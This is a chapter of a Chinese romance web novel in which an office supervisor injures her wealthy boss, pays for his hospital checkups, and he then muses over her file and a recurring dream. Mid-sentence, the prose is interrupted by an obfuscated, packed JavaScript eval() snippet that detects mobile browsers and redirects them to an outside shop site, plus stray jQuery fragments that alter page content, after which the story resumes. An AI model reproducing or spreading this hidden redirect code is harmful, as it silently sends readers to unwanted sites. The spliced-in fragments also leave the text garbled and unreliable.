咚咚咚——
“进。”里面的男声悠悠传来。
沈助理打开门,侧过身,“今小姐,请。”
今昭咬咬牙,脚上好似灌入了千斤重的水泥,迈不出脚。后背已经被冷汗浸湿,耳边全是沈助的那句——“睚眦必报”。
“今主管,是需要我请你进来吗?”
还是记忆中的音色,当初觉得有多好听,现在就觉得有多催命。
此刻,脑中思绪万千,不知怎的,今昭突然想起体育器材室前谢妄干脆利落地拒绝,才发觉他的性格一直都是这样,不把任何人放在眼里。
因为谢妄的喜欢,让今昭下意识以为他是个好人,忽略他的本性。
“今小姐。”沈助小声提醒。
回过神,咽了咽口水,下定决心朝里走去。
谢妄神情自若地靠在椅子上,视线一直落在今昭身上,满是顽劣。
他很期待今昭接下来的反应。
为此昨晚一晚没睡,一直发消息骚扰沈助理,问进展如何。
办公室大门关上,在这个密闭的空间里,只有他们两人。办公室里很静,静到今昭甚至能听见自己吞咽口水的声音。
要说今昭最厉害的地方那就是能屈能伸。随即露出谄媚的尬笑:“谢总,昨天晚上是我的原因,对不起,钱……我暂时拿不出来那么多,请你大人不记小人过,缓我几个月。”话落,双手紧紧攥住包带,立马标准的九十度鞠躬。
谢妄冷笑一声,还是那副玩世不恭的样子,站起身,一步一步朝今昭走来。
皮鞋踩在地板所发出的声音好似一道道催命符,宣告今昭死期将至。
今昭低着头,不敢看他,直至那双价值不菲的皮鞋出现在视线里,听到他的声音从头顶传来,语气中满是嘲弄:“你以为我是做慈善的?还缓期。”
虽很不爽他的语气,可造化弄人,他的态度关乎自己的存款。扯了扯嘴角,用力扯出一个极为难看的苦笑。
猛地抬头。
哪知下一秒,头顶撞上一个硬物。
好疼!
来不及反应,谢妄被今昭撞得应声倒地,一记闷哼,双手紧紧捂住下半张脸。
头顶的痛感还在,今昭不满地揉了揉脑袋,全然忘记了面前的人。视线不经意瞥见,脑袋轰得炸开——
完蛋了,这下是真的完蛋了。
“谢总,你没事吧?”
谢妄倒在地上,只觉得有股液体流在手上,慢慢放下——血!
是鼻血!
今昭仿佛看见无数张红钞正向自己挥手道别。
“谢总,快把头抬起来。”
今昭一手把他头向上掰,一手从口袋掏出一包纸,快速捏好往鼻子里塞。
“你做什么!”谢妄压下怒气,在塞好纸的下一秒推开她。
今昭倒在地上,气性上来,吼道:“给你止血!”
“我不需要。”
“那你失血过多有什么问题别来找我负责。”也不想惯他,吼他的声音越来越大。
二人在气势上,谁也不输谁,谁也不服谁。
办公室的门推开,“谢总,发生什么……事了……”音量越来越小。
沈助听到今昭的怒吼,以为是两个人吵架,二话不说准备进来做和事佬。谁知推开门看到的是这场面。
“那个,谢总,你们慢慢聊,我先出去。”
“回来!你没看到我留鼻血了吗?”
还真没看到。
注意力全放在——才一会的工夫,二人怎么都坐到地上了。
“谢总,需要去医院吗?”
他的眼神里全是埋怨,“你说呢?”
沈助禁声,扶起谢妄。
跌倒在地的动作太大,谢妄屁股那也有点疼,走路一瘸一拐。
没两步,他停下来,咬牙切齿:“今主管,我觉得你需要和我一起来医院,查出什么问题你也能及时负责。”
死资本家,是真会算啊。
脑子都撞成那样了,算盘还打着叮当响。
早知道刚刚就再大力一点,把他撞飞出去,把他撞晕,把他脑子撞坏,看他还怎么算计。
心里虽这么想,嘴上还是说:“好,谢总,我和你一起去。”
趁着上班时间还没到,公司没什么人,沈助扶着谢妄去地下车库。
电梯来到一楼,今昭下电梯的动作被谢妄叫住。
“今主管,要逃也没必要这么明目张胆吧。”
皱着眉看他,“谁逃啊,我车不在地下车库。”
“谁知道你会不会在半路上开车逃走,你和我们坐一辆车。”
今昭压下怒火,按下电梯关门键,在电梯门关上的那一刻,自言自语道:“有些人哦,心脏,所以看什么都脏。你说对吧?谢总。”
没错,今昭就是故意恶心他。
虽能屈能伸,但也不会任人欺负到头上。
什么银行卡,什么房子,去TM的。
大不了把车卖了。
低声下四也不是我的style。
忍来忍去还不是自己受罪。
先爽了再说。
谢妄被气得说不出话来。
这一回合,今小姐——胜。
沈助理视线来回在两人身上穿梭,脸上的笑呼之欲出。工作十几年,连续两天看到老板在同一人身上吃瘪,还是第一次见。内心爽感是掩饰不住的。
本以为接下来车子上还会有一场大战,结果却是各自为界,各自一边,互不打扰。
一路上,今昭各种卖车平台来回切换,不停比较哪个平台价格最高。
车子是前两年才买的,就连贷款都是去年年底才还完的。
本以为好日子要来了,结果……
算了,乘地铁上班也一样,又不是没乘过。
谢妄背靠后座,头一直偏向窗外,一路无言。
来到医院,鼻子已经止住。
今昭在一旁嘲讽:“沈助理,你应该开得快一点,你看,谢总的鼻血都要凝固了。”
“是,谢总,我下次会注意的。”
谢妄自知怼不过她,专挑她的弱点下手,“沈助理,把所有检查项目都给我安排一遍,毕竟今主管说过‘会负责到底’。”
语气是狠的,可脸上是笑的。
死王八蛋。
今昭也换上笑脸陪笑:“是啊,沈助理,是该好好检查一番,看看身上,尤其是脑子,有没有——病。”
这班上得是越来越有意思。
沈助理忍着笑,“是,谢总。”
沈助理仅仅打了一通电话,随即就有人安排。
今昭不禁“啧”了一声,有钱就是好啊。但更多的是担心自己的金库,这是一家私人医院,肯定会花不少钱。
谢妄的检查做了一早上,临近午休时间,今昭看今天是回不去了,干脆向张姐请了一整天假。
慢慢陪他耗。
下午,结果出来——各项指标都非常好。
今昭看着五位数的检查费用收费单陷入了沉思,骂人的话到嘴边又咽下,“五位数的检查费,真有你的,谢总。”
五位数对谢妄来说并不算什么,坏笑:“对啊,来都来了,当然要全部检查都来一遍,你说是吧,今主管?”
同样的话还回去。
半个多月的工资。
今昭忍痛交完钱,边说着边走近谢妄,“谢总,剩下的十六万我下周六之前汇给您,您看可以吗?”
谢妄全然忽视女人脸上阴狠的表情。摆摆手,“可以。”
“是吗,那真的谢谢谢总了。”
离他只有一步之遥时,谢妄终于注意到她的不对劲,下意识捂住还有些疼的屁股,向后退,“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617454|204182||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
做什么。”
今昭扯着笑,“没什么。”将缴费成功的报告单扔到他的身上,“报告单,还请谢总拿好。”
随后转身离开,经过沈助,他适时开口,“今小姐,我们送你回公司吧。”
“不用,我怕忍不住,再把谢总怎么样,到最后还是要我付钱。”
路上,谢妄在后车座翻看今昭的资料。
这个资料很全,大到工作、学历经历,小到出生地上面都有。
看到出生地那一栏——庆安。
“她是庆安的?”
“对,今小姐家乡是庆安的。”
谢妄的父辈以前是生活在庆安,但随着谢父谢母的产业不断壮大,全家都定居在北棠。
所以谢妄并未去过庆安。对庆安的印象也只是父母偶尔诉说着对年少时光的怀恋。
大致看了一下,“只有这么点?”
“对,能查到的都在这了。”
“学历也不出色,工作这么多年才升上主管,在沪海连套房都没有,这种人有什么可在我面前骄傲的。”
沈助理听的是一句话不敢说。
命运向来是不公平的,谢妄的家庭和睦,爹妈有钱,单单这两点,已经超过了百分之九十多的人,少走几十年弯路。今昭的家庭也和睦,但父母只是普通人,任何事到最后还是得靠自己,根本不敢行差踏错一步。
资料被扔向一边,“算了,赔衣服的钱你告诉她只要十万。”怕沈助理多想,补充道:“也穿挺久的。”
“谢总,我觉得你一遇到今小姐的事就束手无策,现在都知道体谅别人。”
谢妄冷哼一声,语气急促:“别多想,我单纯就事论事。”
“嗯,就事论事,那谢总,我的休假申请能不能批一下?”
“可以。”
转变来得太快,来不及高兴,只听谢妄冰冷地说出那句,“等我死的那天。”
这下,沈助理是真的笑不出来了。
今昭乘坐地铁来到谢妄公司楼下,坐进车里的那一刻。
抱着方向盘,扯着嗓子叫了一大声。
发泄过后,扭开一瓶矿泉水,一口灌下。
背,最近是真的背。
还有工作需要处理,谢妄回到公司,坐在办公桌前,电脑的放着上个月公司报表。眼神不自觉瞥向一旁的资料上。
谢妄觉得自己大概是疯了,下车时居然顺手把它拿上,还带了上来。
松开鼠标,不自觉去拿资料。
仔细翻看,自言自语:“看在你没钱的份上,这次就放你一马。”
最后他的视线落在高中时今昭的照片上。
嘴角不自觉的勾起。
长得还挺好看,他想。
只是简单的校服,照片的主角也不是她,哪怕只是角落。谢妄的脑中竟生出一个荒诞的想法——她长得好像梦里的那个人。
从高二起,谢妄常年被一个梦所困扰。梦的频率没有一点规律,有可能是一周一次、或者半个月一次、有时候连续几天都会梦到。
每一次梦到的都是同一个高中女生,穿着最简单的校服,扎着高高的马尾,一颦一笑都是那么灿烂动人。
可每当要伸手去触碰她时,谢妄都会惊醒。
女生的容貌仅仅出现在梦里,醒来就什么都不记得。脑海里只留下一个模糊的身影。
高三时,谢妄辗转看了各种心理医生,每次都保持不了多久,梦还是会出现。
直到谢妄去看了一个有名的心理医生,听了整个过程后,医生问出一句:“你相信前世今生吗?”
前世今生吗?
谢妄是坚定的唯物主义者,当然不信。
再后来,谢妄选择放弃治疗。
这个念头刚起,谢妄被自己吓到,自嘲:“怎么可能,一定是这两天被她逼疯了,才会有这种念头。”